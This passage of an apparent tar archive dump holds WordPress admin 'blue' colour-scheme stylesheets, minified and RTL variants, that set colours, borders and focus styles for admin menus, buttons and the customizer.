color: #0073aa; } .wp-core-ui #customize-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after, .wp-core-ui #customize-outer-theme-controls .control-section:hover > .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after, .wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after, .wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after { color: #0073aa; } .wp-core-ui .customize-control .attachment-media-view .button-add-media:focus { background-color: #fbfbfc; border-color: #e1a948; border-style: solid; box-shadow: 0 0 0 1px #e1a948; outline: 2px solid transparent; } .wp-core-ui .wp-full-overlay-footer .devices button:focus, .wp-core-ui .wp-full-overlay-footer .devices button.active:hover { border-bottom-color: #e1a948; } .wp-core-ui .wp-full-overlay-footer .devices button:hover:before, .wp-core-ui .wp-full-overlay-footer .devices button:focus:before { color: #e1a948; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus { color: #e1a948; } .wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow, .wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow { box-shadow: 0 0 0 1px rgb(232.1830985915, 189.5915492958, 115.8169014085), 0 0 2px 1px #e1a948; } .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus, .wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover { border-bottom-color: #e1a948; color: #0073aa; } css/colors/blue/colors.min.css 0000644 00000051657 15233246127 0012404 0 ustar 00 /*! This file is auto-generated */ body{background:#f0f0f0}a{color:#0073aa}a:active,a:focus,a:hover{color:rgb(0,149.5,221)}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link,.wp-core-ui .button.button-link{color:var(--wp-admin-theme-color)}.wp-core-ui .button-link:active,.wp-core-ui .button-link:hover,.wp-core-ui .button.button-link:active,.wp-core-ui .button.button-link:hover{color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-link:focus,.wp-core-ui .button.button-link:focus{color:var(--wp-admin-theme-color);border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-link:disabled,.wp-core-ui .button-link[aria-disabled=true],.wp-core-ui .button.button-link:disabled,.wp-core-ui .button.button-link[aria-disabled=true]{color:#949494}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#cc1818}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:rgb(230.6842105263,48.3157894737,48.3157894737)}input[type=checkbox]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}input[type=radio]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:rgb(0,149.5,221)}input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}input[type=checkbox]:focus,input[type=radio]:focus{border-color:#1e1e1e;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.wp-core-ui select:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-tags-autocomplete .ui-state-focus,.wp-tags-autocomplete [aria-selected=true]{background-color:var(--wp-admin-theme-color)}#pass1-text:focus,#pass1:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.mailserver-pass-wrap .button.wp-hide-pw:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-core-ui .button{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button.disabled,.wp-core-ui .button:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-secondary{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button-secondary:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-secondary:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-secondary:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button-secondary.disabled,.wp-core-ui .button-secondary:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary{background:var(--wp-admin-theme-color);border-color:transparent;border-radius:2px;color:#fff}.wp-core-ui .button-primary:hover{background:var(--wp-admin-theme-color-darker-10);border-color:transparent;color:#fff}.wp-core-ui .button-primary:focus{background:var(--wp-admin-theme-color);border-color:transparent;color:#fff;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid transparent}.wp-core-ui .button-primary:active{background:var(--wp-admin-theme-color-darker-20);border-color:transparent;color:#fff}.wp-core-ui .button-primary.disabled,.wp-core-ui .button-primary:disabled{background:#f0f0f0;border-color:transparent;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:var(--wp-admin-theme-color-darker-10);color:#fff;border-color:transparent;box-shadow:none}.wp-core-ui .button-group>.button.active{border-color:var(--wp-admin-theme-color);background:rgba(var(--wp-admin-theme-color--rgb),.08)}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#52accc}.wp-core-ui .wp-ui-text-primary{color:#52accc}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#096484}.wp-core-ui .wp-ui-text-highlight{color:#096484}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#e1a948}.wp-core-ui .wp-ui-text-notification{color:#e1a948}.wp-core-ui .wp-ui-text-icon{color:#e5f8ff}.wrap .page-title-action{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wrap .page-title-action:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wrap .page-title-action:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wrap .page-title-action:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.view-switch a.current:before{color:#52accc}.view-switch a:hover:before{color:#e1a948}#adminmenu,#adminmenuback,#adminmenuwrap{background:#52accc}#adminmenu a{color:#fff}#adminmenu div.wp-menu-image:before{color:#e5f8ff}#adminmenu a:hover,#adminmenu li.menu-top:hover,#adminmenu li.opensub>a.menu-top,#adminmenu li>a.menu-top:focus{color:#fff;background-color:#096484}#adminmenu li.menu-top:hover div.wp-menu-image:before,#adminmenu li.opensub>a.menu-top div.wp-menu-image:before{color:#fff}.about-wrap .nav-tab-active,.nav-tab-active,.nav-tab-active:hover{background-color:#f0f0f0;border-bottom-color:#f0f0f0}#adminmenu .wp-has-current-submenu .wp-submenu,#adminmenu .wp-has-current-submenu.opensub .wp-submenu,#adminmenu .wp-submenu,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu{background:#4796b3}#adminmenu li.wp-has-submenu.wp-not-current-submenu.opensub:hover:after,#adminmenu li.wp-has-submenu.wp-not-current-submenu:focus-within:after{border-right-color:#4796b3}#adminmenu .wp-submenu .wp-submenu-head{color:#e2ecf1}#adminmenu .wp-has-current-submenu .wp-submenu a,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a,#adminmenu .wp-submenu a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a{color:#e2ecf1}#adminmenu .wp-has-current-submenu .wp-submenu a:focus,#adminmenu .wp-has-current-submenu .wp-submenu a:hover,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu a:hover,#adminmenu .wp-submenu a:focus,#adminmenu .wp-submenu a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu a:hover{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a,#adminmenu .wp-submenu li.current a,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a{color:#fff}#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:focus,#adminmenu .wp-has-current-submenu.opensub .wp-submenu li.current a:hover,#adminmenu .wp-submenu li.current a:focus,#adminmenu .wp-submenu li.current a:hover,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:focus,#adminmenu a.wp-has-current-submenu:focus+.wp-submenu li.current a:hover{color:#fff}ul#adminmenu a.wp-has-current-submenu:after,ul#adminmenu>li.current>a.current:after{border-right-color:#f0f0f0}#adminmenu li.current a.menu-top,#adminmenu li.wp-has-current-submenu .wp-submenu .wp-submenu-head,#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu,.folded #adminmenu li.current.menu-top{color:#fff;background:#096484}#adminmenu a.current:hover div.wp-menu-image:before,#adminmenu li a:focus div.wp-menu-image:before,#adminmenu li.current div.wp-menu-image:before,#adminmenu li.opensub div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu a:focus div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu div.wp-menu-image:before,#adminmenu li.wp-has-current-submenu.opensub div.wp-menu-image:before,#adminmenu li:hover div.wp-menu-image:before{color:#fff}#adminmenu .awaiting-mod,#adminmenu .menu-counter,#adminmenu .update-plugins{color:#fff;background:#e1a948}#adminmenu li a.wp-has-current-submenu .update-plugins,#adminmenu li.current a .awaiting-mod,#adminmenu li.menu-top:hover>a .update-plugins,#adminmenu li:hover a .awaiting-mod{color:#fff;background:#4796b3}#collapse-button{color:#e5f8ff}#collapse-button:focus,#collapse-button:hover{color:#fff}#wpadminbar{color:#fff;background:#52accc}#wpadminbar .ab-item,#wpadminbar a.ab-item,#wpadminbar>#wp-toolbar span.ab-label,#wpadminbar>#wp-toolbar span.noticon{color:#fff}#wpadminbar .ab-icon,#wpadminbar .ab-icon:before,#wpadminbar .ab-item:after,#wpadminbar .ab-item:before{color:#e5f8ff}#wpadminbar .ab-top-menu>li.menupop.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>li>.ab-item:focus,#wpadminbar.nojs .ab-top-menu>li.menupop:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>li>.ab-item:focus{color:#fff;background:#4796b3}#wpadminbar:not(.mobile)>#wp-toolbar a:focus span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li.hover span.ab-label,#wpadminbar:not(.mobile)>#wp-toolbar li:hover span.ab-label{color:#fff}#wpadminbar:not(.mobile) li:hover #adminbarsearch:before,#wpadminbar:not(.mobile) li:hover .ab-icon:before,#wpadminbar:not(.mobile) li:hover .ab-item:after,#wpadminbar:not(.mobile) li:hover .ab-item:before{color:#fff}#wpadminbar .menupop .ab-sub-wrapper{background:#4796b3}#wpadminbar .quicklinks .menupop ul.ab-sub-secondary,#wpadminbar .quicklinks .menupop ul.ab-sub-secondary .ab-submenu{background:rgb(116.162375,182.0949364754,205.537625)}#wpadminbar .ab-submenu .ab-item,#wpadminbar .quicklinks .menupop ul li a,#wpadminbar .quicklinks .menupop.hover ul li a,#wpadminbar.nojs .quicklinks .menupop:hover ul li a{color:#e2ecf1}#wpadminbar .menupop .menupop>.ab-item:before,#wpadminbar .quicklinks li .blavatar{color:#e5f8ff}#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a,#wpadminbar .quicklinks .menupop ul li a:focus,#wpadminbar .quicklinks .menupop ul li a:focus strong,#wpadminbar .quicklinks .menupop ul li a:hover,#wpadminbar .quicklinks .menupop ul li a:hover strong,#wpadminbar .quicklinks .menupop.hover ul li a:focus,#wpadminbar .quicklinks .menupop.hover ul li a:hover,#wpadminbar li #adminbarsearch.adminbar-focused:before,#wpadminbar li .ab-item:focus .ab-icon:before,#wpadminbar li .ab-item:focus:before,#wpadminbar li a:focus .ab-icon:before,#wpadminbar li.hover .ab-icon:before,#wpadminbar li.hover .ab-item:before,#wpadminbar li:hover #adminbarsearch:before,#wpadminbar li:hover .ab-icon:before,#wpadminbar li:hover .ab-item:before,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:focus,#wpadminbar.nojs .quicklinks .menupop:hover ul li a:hover{color:#fff}#wpadminbar .menupop .menupop>.ab-item:hover:before,#wpadminbar .quicklinks .ab-sub-wrapper .menupop.hover>a .blavatar,#wpadminbar .quicklinks li a:focus .blavatar,#wpadminbar .quicklinks li a:hover .blavatar,#wpadminbar.mobile .quicklinks .hover .ab-icon:before,#wpadminbar.mobile .quicklinks .hover .ab-item:before{color:#fff}#wpadminbar.mobile .quicklinks .ab-icon:before,#wpadminbar.mobile .quicklinks .ab-item:before{color:#e5f8ff}#wpadminbar #adminbarsearch:before{color:#e5f8ff}#wpadminbar>#wp-toolbar>#wp-admin-bar-top-secondary>#wp-admin-bar-search #adminbarsearch input.adminbar-input:focus{color:#fff;background:rgb(109.571875,185.228125,212.128125)}#wpadminbar #wp-admin-bar-recovery-mode{color:#fff;background-color:#e1a948}#wpadminbar #wp-admin-bar-recovery-mode .ab-item,#wpadminbar #wp-admin-bar-recovery-mode a.ab-item{color:#fff}#wpadminbar .ab-top-menu>#wp-admin-bar-recovery-mode.hover>.ab-item,#wpadminbar.nojq .quicklinks .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode:hover>.ab-item,#wpadminbar:not(.mobile) .ab-top-menu>#wp-admin-bar-recovery-mode>.ab-item:focus{color:#fff;background-color:rgb(202.5,152.1,64.8)}#wpadminbar .quicklinks li#wp-admin-bar-my-account.with-avatar>a img{border-color:rgb(109.571875,185.228125,212.128125);background-color:rgb(109.571875,185.228125,212.128125)}#wpadminbar #wp-admin-bar-user-info .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info a:hover .display-name{color:#fff}#wpadminbar #wp-admin-bar-user-info .username{color:#e2ecf1}.wp-pointer .wp-pointer-content h3{background-color:#096484;border-color:rgb(7.3723404255,81.914893617,108.1276595745)}.wp-pointer .wp-pointer-content h3:before{color:#096484}.wp-pointer.wp-pointer-top .wp-pointer-arrow,.wp-pointer.wp-pointer-top .wp-pointer-arrow-inner,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow,.wp-pointer.wp-pointer-undefined .wp-pointer-arrow-inner{border-bottom-color:#096484}.media-item .bar,.media-progress-bar div{background-color:#096484}.details.attachment{box-shadow:inset 0 0 0 3px #fff,inset 0 0 0 7px #096484}.attachment.details .check{background-color:#096484;box-shadow:0 0 0 1px #fff,0 0 0 2px #096484}.media-selection .attachment.selection.details .thumbnail{box-shadow:0 0 0 1px #fff,0 0 0 3px #096484}.theme-browser .theme.active .theme-name,.theme-browser .theme.add-new-theme a:focus:after,.theme-browser .theme.add-new-theme a:hover:after{background:#096484}.theme-browser .theme.add-new-theme a:focus span:after,.theme-browser .theme.add-new-theme a:hover span:after{color:#096484}.theme-filter.current,.theme-section.current{border-bottom-color:#52accc}body.more-filters-opened .more-filters{color:#fff;background-color:#52accc}body.more-filters-opened .more-filters:before{color:#fff}body.more-filters-opened .more-filters:focus,body.more-filters-opened .more-filters:hover{background-color:#096484;color:#fff}body.more-filters-opened .more-filters:focus:before,body.more-filters-opened .more-filters:hover:before{color:#fff}.widgets-chooser li.widgets-chooser-selected{background-color:#096484;color:#fff}.widgets-chooser li.widgets-chooser-selected:before,.widgets-chooser li.widgets-chooser-selected:focus:before{color:#fff}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 1px rgb(232.1830985915,189.5915492958,115.8169014085),0 0 2px 1px #e1a948}div#wp-responsive-toggle a:before{color:#e5f8ff}.wp-responsive-open div#wp-responsive-toggle a{border-color:transparent;background:#096484}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle a{background:#4796b3}.wp-responsive-open #wpadminbar #wp-admin-bar-menu-toggle .ab-icon:before{color:#e5f8ff}.mce-container.mce-menu .mce-menu-item-normal.mce-active,.mce-container.mce-menu .mce-menu-item-preview.mce-active,.mce-container.mce-menu .mce-menu-item.mce-selected,.mce-container.mce-menu .mce-menu-item:focus,.mce-container.mce-menu .mce-menu-item:hover{background:#096484}.wp-core-ui #customize-controls .control-section .accordion-section-title:focus,.wp-core-ui #customize-controls .control-section .accordion-section-title:hover,.wp-core-ui #customize-controls .control-section.open .accordion-section-title,.wp-core-ui #customize-controls .control-section:hover>.accordion-section-title{color:#0073aa;border-left-color:#e1a948}.wp-core-ui .customize-controls-close:focus,.wp-core-ui .customize-controls-close:hover,.wp-core-ui .customize-controls-preview-toggle:focus,.wp-core-ui .customize-controls-preview-toggle:hover{color:#0073aa;border-top-color:#e1a948}.wp-core-ui .customize-panel-back:focus,.wp-core-ui .customize-panel-back:hover,.wp-core-ui .customize-section-back:focus,.wp-core-ui .customize-section-back:hover{color:#0073aa;border-left-color:#e1a948}.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:active,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info.open.active-menu-screen-options .customize-help-toggle:hover,.wp-core-ui .active-menu-screen-options .customize-screen-options-toggle,.wp-core-ui .customize-screen-options-toggle:active,.wp-core-ui .customize-screen-options-toggle:focus,.wp-core-ui .customize-screen-options-toggle:hover{color:#0073aa}.wp-core-ui #available-menu-items .item-add:focus:before,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus:before,.wp-core-ui #customize-save-button-wrapper .save:focus,.wp-core-ui #publish-settings:focus,.wp-core-ui .customize-screen-options-toggle:focus:before,.wp-core-ui .menu-item-bar .item-delete:focus:before,.wp-core-ui.wp-customizer button:focus .toggle-indicator:before{box-shadow:0 0 0 1px rgb(232.1830985915,189.5915492958,115.8169014085),0 0 2px 1px #e1a948}.wp-core-ui #customize-controls .customize-info .customize-help-toggle:focus,.wp-core-ui #customize-controls .customize-info .customize-help-toggle:hover,.wp-core-ui #customize-controls .customize-info.open .customize-help-toggle{color:#0073aa}.wp-core-ui .control-panel-themes .customize-themes-section-title:focus,.wp-core-ui .control-panel-themes .customize-themes-section-title:hover{border-left-color:#e1a948;color:#0073aa}.wp-core-ui .control-panel-themes .theme-section .customize-themes-section-title.selected:after{background:#e1a948}.wp-core-ui .control-panel-themes .customize-themes-section-title.selected{color:#0073aa}.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-outer-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-outer-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-outer-theme-controls .control-section:hover>.accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:focus:after,.wp-core-ui #customize-theme-controls .control-section .accordion-section-title:hover:after,.wp-core-ui #customize-theme-controls .control-section.open .accordion-section-title:after,.wp-core-ui #customize-theme-controls .control-section:hover>.accordion-section-title:after{color:#0073aa}.wp-core-ui .customize-control .attachment-media-view .button-add-media:focus{background-color:#fbfbfc;border-color:#e1a948;border-style:solid;box-shadow:0 0 0 1px #e1a948;outline:2px solid transparent}.wp-core-ui .wp-full-overlay-footer .devices button.active:hover,.wp-core-ui .wp-full-overlay-footer .devices button:focus{border-bottom-color:#e1a948}.wp-core-ui .wp-full-overlay-footer .devices button:focus:before,.wp-core-ui .wp-full-overlay-footer .devices button:hover:before{color:#e1a948}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover{color:#e1a948}.wp-core-ui .wp-full-overlay .collapse-sidebar:focus .collapse-sidebar-arrow,.wp-core-ui .wp-full-overlay .collapse-sidebar:hover .collapse-sidebar-arrow{box-shadow:0 0 0 1px rgb(232.1830985915,189.5915492958,115.8169014085),0 0 2px 1px #e1a948}.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .close:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .left:hover,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:focus,.wp-core-ui.wp-customizer .theme-overlay .theme-header .right:hover{border-bottom-color:#e1a948;color:#0073aa} css/colors/blue/colors-rtl.min.css 0000644 00000051660 15233246127 0013175 0 ustar 00 /*! This file is auto-generated */ body{background:#f0f0f0}a{color:#0073aa}a:active,a:focus,a:hover{color:rgb(0,149.5,221)}#post-body #visibility:before,#post-body .misc-pub-post-status:before,#post-body .misc-pub-revisions:before,.curtime #timestamp:before,span.wp-media-buttons-icon:before{color:currentColor}.wp-core-ui .button-link,.wp-core-ui .button.button-link{color:var(--wp-admin-theme-color)}.wp-core-ui .button-link:active,.wp-core-ui .button-link:hover,.wp-core-ui .button.button-link:active,.wp-core-ui .button.button-link:hover{color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-link:focus,.wp-core-ui .button.button-link:focus{color:var(--wp-admin-theme-color);border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-link:disabled,.wp-core-ui .button-link[aria-disabled=true],.wp-core-ui .button.button-link:disabled,.wp-core-ui .button.button-link[aria-disabled=true]{color:#949494}.media-modal .delete-attachment,.media-modal .trash-attachment,.media-modal .untrash-attachment,.wp-core-ui .button-link-delete{color:#cc1818}.media-modal .delete-attachment:focus,.media-modal .delete-attachment:hover,.media-modal .trash-attachment:focus,.media-modal .trash-attachment:hover,.media-modal .untrash-attachment:focus,.media-modal .untrash-attachment:hover,.wp-core-ui .button-link-delete:focus,.wp-core-ui .button-link-delete:hover{color:rgb(230.6842105263,48.3157894737,48.3157894737)}input[type=checkbox]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}input[type=radio]:checked{background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color)}.wp-core-ui input[type=reset]:active,.wp-core-ui input[type=reset]:hover{color:rgb(0,149.5,221)}input[type=color]:focus,input[type=date]:focus,input[type=datetime-local]:focus,input[type=datetime]:focus,input[type=email]:focus,input[type=month]:focus,input[type=number]:focus,input[type=password]:focus,input[type=search]:focus,input[type=tel]:focus,input[type=text]:focus,input[type=time]:focus,input[type=url]:focus,input[type=week]:focus,select:focus,textarea:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}input[type=checkbox]:focus,input[type=radio]:focus{border-color:#1e1e1e;box-shadow:0 0 0 2px #fff,0 0 0 4px var(--wp-admin-theme-color);outline:2px solid transparent}.wp-core-ui select:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-tags-autocomplete .ui-state-focus,.wp-tags-autocomplete [aria-selected=true]{background-color:var(--wp-admin-theme-color)}#pass1-text:focus,#pass1:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.mailserver-pass-wrap .button.wp-hide-pw:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color)}.wp-core-ui .button{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button.disabled,.wp-core-ui .button:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-secondary{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wp-core-ui .button-secondary:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wp-core-ui .button-secondary:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wp-core-ui .button-secondary:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.wp-core-ui .button-secondary.disabled,.wp-core-ui .button-secondary:disabled{background:0 0;border-color:#ddd;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary{background:var(--wp-admin-theme-color);border-color:transparent;border-radius:2px;color:#fff}.wp-core-ui .button-primary:hover{background:var(--wp-admin-theme-color-darker-10);border-color:transparent;color:#fff}.wp-core-ui .button-primary:focus{background:var(--wp-admin-theme-color);border-color:transparent;color:#fff;box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color),inset 0 0 0 1px #fff;outline:1px solid transparent}.wp-core-ui .button-primary:active{background:var(--wp-admin-theme-color-darker-20);border-color:transparent;color:#fff}.wp-core-ui .button-primary.disabled,.wp-core-ui .button-primary:disabled{background:#f0f0f0;border-color:transparent;color:#949494;cursor:not-allowed}.wp-core-ui .button-primary.active,.wp-core-ui .button-primary.active:focus,.wp-core-ui .button-primary.active:hover{background:var(--wp-admin-theme-color-darker-10);color:#fff;border-color:transparent;box-shadow:none}.wp-core-ui .button-group>.button.active{border-color:var(--wp-admin-theme-color);background:rgba(var(--wp-admin-theme-color--rgb),.08)}.wp-core-ui .wp-ui-primary{color:#fff;background-color:#52accc}.wp-core-ui .wp-ui-text-primary{color:#52accc}.wp-core-ui .wp-ui-highlight{color:#fff;background-color:#096484}.wp-core-ui .wp-ui-text-highlight{color:#096484}.wp-core-ui .wp-ui-notification{color:#fff;background-color:#e1a948}.wp-core-ui .wp-ui-text-notification{color:#e1a948}.wp-core-ui .wp-ui-text-icon{color:#e5f8ff}.wrap .page-title-action{background:0 0;border:1px solid var(--wp-admin-theme-color);border-radius:2px;color:var(--wp-admin-theme-color)}.wrap .page-title-action:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20)}.wrap .page-title-action:focus{background:0 0;border-color:var(--wp-admin-theme-color);color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color);outline:1px solid transparent}.wrap .page-title-action:active{background:rgba(var(--wp-admin-theme-color--rgb),.08);border-color:var(--wp-admin-theme-color-darker-20);color:var(--wp-admin-theme-color-darker-20);box-shadow:none}.view-switch 